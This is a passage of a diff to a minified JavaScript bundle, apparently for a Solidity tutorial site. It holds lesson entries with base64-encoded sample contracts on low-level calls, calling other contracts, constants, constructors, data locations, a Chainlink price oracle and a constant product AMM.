contracts",tm="https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gICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgICAgICAgYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImRvZXNOb3RFeGlzdCgpIikKICAgICAgICApOwoKICAgICAgICBlbWl0IFJlc3BvbnNlKHN1Y2Nlc3MsIGRhdGEpOwogICAgfQp9Cg=="}],rm=`

                  call is a low level function to interact with other contracts.

                  This is the recommended method to use when you're just sending Ether via calling the fallback function.

                  However it is not the recommended way to call existing functions.

                  Few reasons why low-level call is not recommended

                  @@ -4019,7 +4019,7 @@ Each slot in the array can store 32 bytes.

                  emit Response(success, data); } } -`,rm=({prev:s,next:a})=>r.jsx(A,{version:lm,title:pm,description:em,cyfrinLink:cm,html:om,prev:s,next:a,codes:tm}),im="0.8.26",gm="Calling Other Contract",hm="In Solidity, contract can call other contracts in several ways",Im="https://www.cyfrin.io/glossary/calling-other-contract-solidity-code-example",dm=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],Cm=`

                  Contract can call other contracts in 2 ways.

                  +`,im=({prev:s,next:a})=>r.jsx(A,{version:pm,title:em,description:cm,cyfrinLink:tm,html:rm,prev:s,next:a,codes:om}),gm="0.8.26",hm="Calling Other Contract",Im="In Solidity, contract can call other contracts in several ways",dm="https://www.cyfrin.io/glossary/calling-other-contract-solidity-code-example",Cm=[{fileName:"CallingContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENhbGxlZSB7CiAgICB1aW50MjU2IHB1YmxpYyB4OwogICAgdWludDI1NiBwdWJsaWMgdmFsdWU7CgogICAgZnVuY3Rpb24gc2V0WCh1aW50MjU2IF94KSBwdWJsaWMgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHggPSBfeDsKICAgICAgICByZXR1cm4geDsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYYW5kU2VuZEV0aGVyKHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYsIHVpbnQyNTYpCiAgICB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHZhbHVlID0gbXNnLnZhbHVlOwoKICAgICAgICByZXR1cm4gKHgsIHZhbHVlKTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGZ1bmN0aW9uIHNldFgoQ2FsbGVlIF9jYWxsZWUsIHVpbnQyNTYgX3gpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB4ID0gX2NhbGxlZS5zZXRYKF94KTsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRYRnJvbUFkZHJlc3MoYWRkcmVzcyBfYWRkciwgdWludDI1NiBfeCkgcHVibGljIHsKICAgICAgICBDYWxsZWUgY2FsbGVlID0gQ2FsbGVlKF9hZGRyKTsKICAgICAgICBjYWxsZWUuc2V0WChfeCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2V0WGFuZFNlbmRFdGhlcihDYWxsZWUgX2NhbGxlZSwgdWludDI1NiBfeCkgcHVibGljIHBheWFibGUgewogICAgICAgICh1aW50MjU2IHgsIHVpbnQyNTYgdmFsdWUpID0KICAgICAgICAgICAgX2NhbGxlZS5zZXRYYW5kU2VuZEV0aGVye3ZhbHVlOiBtc2cudmFsdWV9KF94KTsKICAgIH0KfQo="}],jm=`

                  Contract can call other contracts in 2 ways.

                  The easiest way to is to just call it, like A.foo(x, y, z).

                  Another way to call other contracts is to use the low-level call.

                  This method is not recommended.

                  @@ -4062,7 +4062,7 @@ Each slot in the array can store 32 bytes.

                  _callee.setXandSendEther{value: msg.value}(_x); } } -`,jm=({prev:s,next:a})=>r.jsx(A,{version:im,title:gm,description:hm,cyfrinLink:Im,html:Cm,prev:s,next:a,codes:dm}),Am="0.8.26",um="Constants",ym="Constant variables",mm="https://www.cyfrin.io/glossary/constants-solidity-code-example",bm=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],wm=`

                  Constants are variables that cannot be modified.

                  +`,Am=({prev:s,next:a})=>r.jsx(A,{version:gm,title:hm,description:Im,cyfrinLink:dm,html:jm,prev:s,next:a,codes:Cm}),um="0.8.26",ym="Constants",mm="Constant variables",bm="https://www.cyfrin.io/glossary/constants-solidity-code-example",wm=[{fileName:"Constants.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENvbnN0YW50cyB7CiAgICAvLyBjb2RpbmcgY29udmVudGlvbiB0byB1cHBlcmNhc2UgY29uc3RhbnQgdmFyaWFibGVzCiAgICBhZGRyZXNzIHB1YmxpYyBjb25zdGFudCBNWV9BRERSRVNTID0KICAgICAgICAweDc3Nzc4ODg4OTk5OUFhQUFiQmJiQ2NjY2RkRGRlZWVFZkZGZkNjQ2M7CiAgICB1aW50MjU2IHB1YmxpYyBjb25zdGFudCBNWV9VSU5UID0gMTIzOwp9Cg=="}],km=`

                  Constants are variables that cannot be modified.

                  Their value is hard coded and using constants can save gas cost.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                  @@ -4073,7 +4073,7 @@ Each slot in the array can store 32 bytes.

                  0x777788889999AaAAbBbbCcccddDdeeeEfFFfCcCc; uint256 public constant MY_UINT = 123; } -
                  `,km=({prev:s,next:a})=>r.jsx(A,{version:Am,title:um,description:ym,cyfrinLink:mm,html:wm,prev:s,next:a,codes:bm}),Zm="0.8.26",Wm="Constructor",Bm="Learn how to initialize smart contracts in Solidity using a constructor",Gm="https://www.cyfrin.io/glossary/constructor-solidity-code-example",fm=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovL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Y29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],Vm=`

                  A constructor is an optional function that is executed upon contract creation.

                  +`,Zm=({prev:s,next:a})=>r.jsx(A,{version:um,title:ym,description:mm,cyfrinLink:bm,html:km,prev:s,next:a,codes:wm}),Wm="0.8.26",Gm="Constructor",Bm="Learn how to initialize smart contracts in Solidity using a constructor",fm="https://www.cyfrin.io/glossary/constructor-solidity-code-example",Vm=[{fileName:"Constructor.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIEJhc2UgY29udHJhY3QgWApjb250cmFjdCBYIHsKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgfQp9CgovLyBCYXNlIGNvbnRyYWN0IFkKY29udHJhY3QgWSB7CiAgICBzdHJpbmcgcHVibGljIHRleHQ7CgogICAgY29uc3RydWN0b3Ioc3RyaW5nIG1lbW9yeSBfdGV4dCkgewogICAgICAgIHRleHQgPSBfdGV4dDsKICAgIH0KfQoKLy8gVGhlcmUgYXJlIDIgd2F5cyB0byBpbml0aWFsaXplIHBhcmVudCBjb250cmFjdCB3aXRoIHBhcmFtZXRlcnMuCgovLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGluaGVyaXRhbmNlIGxpc3QuCmNvbnRyYWN0IEIgaXMgWCgiSW5wdXQgdG8gWCIpLCBZKCJJbnB1dCB0byBZIikge30KCmNvbnRyYWN0IEMgaXMgWCwgWSB7CiAgICAvLyBQYXNzIHRoZSBwYXJhbWV0ZXJzIGhlcmUgaW4gdGhlIGNvbnN0cnVjdG9yLAogICAgLy8gc2ltaWxhciB0byBmdW5jdGlvbiBtb2RpZmllcnMuCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF90ZXh0KSBYKF9uYW1lKSBZKF90ZXh0KSB7fQp9CgovLyBQYXJlbnQgY29uc3RydWN0b3JzIGFyZSBhbHdheXMgY2FsbGVkIGluIHRoZSBvcmRlciBvZiBpbmhlcml0YW5jZQovLyByZWdhcmRsZXNzIG9mIHRoZSBvcmRlciBvZiBwYXJlbnQgY29udHJhY3RzIGxpc3RlZCBpbiB0aGUKLy8gY29uc3RydWN0b3Igb2YgdGhlIGNoaWxkIGNvbnRyYWN0LgoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEQKY29udHJhY3QgRCBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWCgiWCB3YXMgY2FsbGVkIikgWSgiWSB3YXMgY2FsbGVkIikge30KfQoKLy8gT3JkZXIgb2YgY29uc3RydWN0b3JzIGNhbGxlZDoKLy8gMS4gWAovLyAyLiBZCi8vIDMuIEUKY29udHJhY3QgRSBpcyBYLCBZIHsKICAgIGNvbnN0cnVjdG9yKCkgWSgiWSB3YXMgY2FsbGVkIikgWCgiWCB3YXMgY2FsbGVkIikge30KfQo="}],Ym=`

                  A constructor is an optional function that is executed upon contract creation.

                  Here are examples of how to pass arguments to constructors.

                  // SPDX-License-Identifier: MIT
                   pragma solidity ^0.8.26;
                  @@ -4126,7 +4126,7 @@ Each slot in the array can store 32 bytes.

                  contract E is X, Y { constructor() Y("Y was called") X("X was called") {} } -
                  `,Ym=({prev:s,next:a})=>r.jsx(A,{version:Zm,title:Wm,description:Bm,cyfrinLink:Gm,html:Vm,prev:s,next:a,codes:fm}),Xm="0.8.26",vm="Data Locations - Storage, Memory and Calldata",Rm="Data locations - storage, memory and calldata",Nm="https://www.cyfrin.io/glossary/data-locations-storage-memory-and-calldata-solidity-code-example",Hm=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],Fm=`

                  Variables are declared as either storage, memory or calldata to explicitly +`,Xm=({prev:s,next:a})=>r.jsx(A,{version:Wm,title:Gm,description:Bm,cyfrinLink:fm,html:Ym,prev:s,next:a,codes:Vm}),Rm="0.8.26",vm="Data Locations - Storage, Memory and Calldata",Nm="Data locations - storage, memory and calldata",Hm="https://www.cyfrin.io/glossary/data-locations-storage-memory-and-calldata-solidity-code-example",Km=[{fileName:"DataLocations.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IERhdGFMb2NhdGlvbnMgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CiAgICBtYXBwaW5nKHVpbnQyNTYgPT4gYWRkcmVzcykgbWFwOwoKICAgIHN0cnVjdCBNeVN0cnVjdCB7CiAgICAgICAgdWludDI1NiBmb287CiAgICB9CgogICAgbWFwcGluZyh1aW50MjU2ID0+IE15U3RydWN0KSBteVN0cnVjdHM7CgogICAgZnVuY3Rpb24gZigpIHB1YmxpYyB7CiAgICAgICAgLy8gY2FsbCBfZiB3aXRoIHN0YXRlIHZhcmlhYmxlcwogICAgICAgIF9mKGFyciwgbWFwLCBteVN0cnVjdHNbMV0pOwoKICAgICAgICAvLyBnZXQgYSBzdHJ1Y3QgZnJvbSBhIG1hcHBpbmcKICAgICAgICBNeVN0cnVjdCBzdG9yYWdlIG15U3RydWN0ID0gbXlTdHJ1Y3RzWzFdOwogICAgICAgIC8vIGNyZWF0ZSBhIHN0cnVjdCBpbiBtZW1vcnkKICAgICAgICBNeVN0cnVjdCBtZW1vcnkgbXlNZW1TdHJ1Y3QgPSBNeVN0cnVjdCgwKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZigKICAgICAgICB1aW50MjU2W10gc3RvcmFnZSBfYXJyLAogICAgICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBzdG9yYWdlIF9tYXAsCiAgICAgICAgTXlTdHJ1Y3Qgc3RvcmFnZSBfbXlTdHJ1Y3QKICAgICkgaW50ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIHN0b3JhZ2UgdmFyaWFibGVzCiAgICB9CgogICAgLy8gWW91IGNhbiByZXR1cm4gbWVtb3J5IHZhcmlhYmxlcwogICAgZnVuY3Rpb24gZyh1aW50MjU2W10gbWVtb3J5IF9hcnIpIHB1YmxpYyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KSB7CiAgICAgICAgLy8gZG8gc29tZXRoaW5nIHdpdGggbWVtb3J5IGFycmF5CiAgICB9CgogICAgZnVuY3Rpb24gaCh1aW50MjU2W10gY2FsbGRhdGEgX2FycikgZXh0ZXJuYWwgewogICAgICAgIC8vIGRvIHNvbWV0aGluZyB3aXRoIGNhbGxkYXRhIGFycmF5CiAgICB9Cn0K"}],Fm=`

                  Variables are declared as either storage, memory or calldata to explicitly specify the location of the data.

                  • storage - variable is a state variable (stored on the blockchain)
                  • @@ -4173,7 +4173,7 @@ specify the location of the data.

                    // do something with calldata array } } -`,Km=({prev:s,next:a})=>r.jsx(A,{version:Xm,title:vm,description:Rm,cyfrinLink:Nm,html:Fm,prev:s,next:a,codes:Hm}),Mm="0.8.26",Sm="Chainlink Price Oracle",xm="Chainlink Price Oracle",Jm="",zm=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],Dm=`

                    ETH / USD Price Oracle

                    +`,Mm=({prev:s,next:a})=>r.jsx(A,{version:Rm,title:vm,description:Nm,cyfrinLink:Hm,html:Fm,prev:s,next:a,codes:Km}),Sm="0.8.26",xm="Chainlink Price Oracle",Jm="Chainlink Price Oracle",zm="",Dm=[{fileName:"Chainlink.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENoYWlubGlua1ByaWNlT3JhY2xlIHsKICAgIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSBpbnRlcm5hbCBwcmljZUZlZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gRVRIIC8gVVNECiAgICAgICAgcHJpY2VGZWVkID0KICAgICAgICAgICAgQWdncmVnYXRvclYzSW50ZXJmYWNlKDB4NWY0ZUMzRGY5Y2JkNDM3MTRGRTI3NDBmNUUzNjE2MTU1YzViODQxOSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGF0ZXN0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChpbnQyNTYpIHsKICAgICAgICAoCiAgICAgICAgICAgIHVpbnQ4MCByb3VuZElELAogICAgICAgICAgICBpbnQyNTYgcHJpY2UsCiAgICAgICAgICAgIHVpbnQyNTYgc3RhcnRlZEF0LAogICAgICAgICAgICB1aW50MjU2IHRpbWVTdGFtcCwKICAgICAgICAgICAgdWludDgwIGFuc3dlcmVkSW5Sb3VuZAogICAgICAgICkgPSBwcmljZUZlZWQubGF0ZXN0Um91bmREYXRhKCk7CiAgICAgICAgLy8gZm9yIEVUSCAvIFVTRCBwcmljZSBpcyBzY2FsZWQgdXAgYnkgMTAgKiogOAogICAgICAgIHJldHVybiBwcmljZSAvIDFlODsKICAgIH0KfQoKaW50ZXJmYWNlIEFnZ3JlZ2F0b3JWM0ludGVyZmFjZSB7CiAgICBmdW5jdGlvbiBsYXRlc3RSb3VuZERhdGEoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICB1aW50ODAgcm91bmRJZCwKICAgICAgICAgICAgaW50MjU2IGFuc3dlciwKICAgICAgICAgICAgdWludDI1NiBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQyNTYgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],Em=`

                    ETH / USD Price Oracle

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -4211,7 +4211,7 @@ specify the location of the data.

                    uint80 answeredInRound ); } -
                    `,Em=({prev:s,next:a})=>r.jsx(A,{version:Mm,title:Sm,description:xm,cyfrinLink:Jm,html:Dm,prev:s,next:a,codes:zm}),Qm="0.8.26",Tm="Constant Product AMM",Um="Constant product AMM",_m="",Lm=[{fileName:"CPAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENQQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICB0b2tlbjAgPSBJRVJDMj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XF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICAvKgogICAgICAgIEhvdyBtdWNoIGR4LCBkeSB0byBhZGQ/CgogICAgICAgIHh5ID0gawogICAgICAgICh4ICsgZHgpKHkgKyBkeSkgPSBrJwoKICAgICAgICBObyBwcmljZSBjaGFuZ2UsIGJlZm9yZSBhbmQgYWZ0ZXIgYWRkaW5nIGxpcXVpZGl0eQogICAgICAgIHggLyB5ID0gKHggKyBkeCkgLyAoeSArIGR5KQoKICAgICAgICB4KHkgKyBkeSkgPSB5KHggKyBkeCkKICAgICAgICB4ICogZHkgPSB5ICogZHgKCiAgICAgICAgeCAvIHkgPSBkeCAvIGR5CiAgICAgICAgZHkgPSB5IC8geCAqIGR4CiAgICAgICAgKi8KICAgICAgICBpZiAocmVzZXJ2ZTAgPiAwIHx8IHJlc2VydmUxID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgcmVzZXJ2ZTAgKiBfYW1vdW50MSA9PSByZXNlcnZlMSAqIF9hbW91bnQwLCAieCAvIHkgIT0gZHggLyBkeSIKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIC8qCiAgICAgICAgSG93IG11Y2ggc2hhcmVzIHRvIG1pbnQ/CgogICAgICAgIGYoeCwgeSkgPSB2YWx1ZSBvZiBsaXF1aWRpdHkKICAgICAgICBXZSB3aWxsIGRlZmluZSBmKHgsIHkpID0gc3FydCh4eSkKCiAgICAgICAgTDAgPSBmKHgsIHkpCiAgICAgICA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CBhbmQgYm90dG9tIGNhbmNlbHMgb3V0CgogICAgICAgIC0tLSBFcXVhdGlvbiAzIC0tLQogICAgICAgIEVxdWF0aW9uIDIgPSAoc3FydCh4XjIgKyAyeGR4ICsgZHheMikgLSBzcXJ0KHheMikpIC8gKHNxcnQoeF4yKQogICAgICAgID0gKHNxcnQoKHggKyBkeCleMikgLSBzcXJ0KHheMikpIC8gc3FydCh4XjIpICAKICAgICAgICA9ICgoeCArIGR4KSAtIHgpIC8geAogICAgICAgID0gZHggLyB4CgogICAgICAgIFNpbmNlIGR4IC8gZHkgPSB4IC8geSwKICAgICAgICBkeCAvIHggPSBkeSAvIHkKCiAgICAgICAgRmluYWxseQogICAgICAgIChMMSAtIEwwKSAvIEwwID0gZHggLyB4ID0gZHkgLyB5CiAgICAgICAgKi8KICAgICAgICBpZiAodG90YWxTdXBwbHkgPT0gMCkgewogICAgICAgICAgICBzaGFyZXMgPSBfc3FydChfYW1vdW50MCAqIF9hbW91bnQxKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzaGFyZXMgPSBfbWluKAogICAgICAgICAgICAgICAgKF9hbW91bnQwICogdG90YWxTdXBwbHkpIC8gcmVzZXJ2ZTAsCiAgICAgICAgICAgICAgICAoX2Ftb3VudDEgK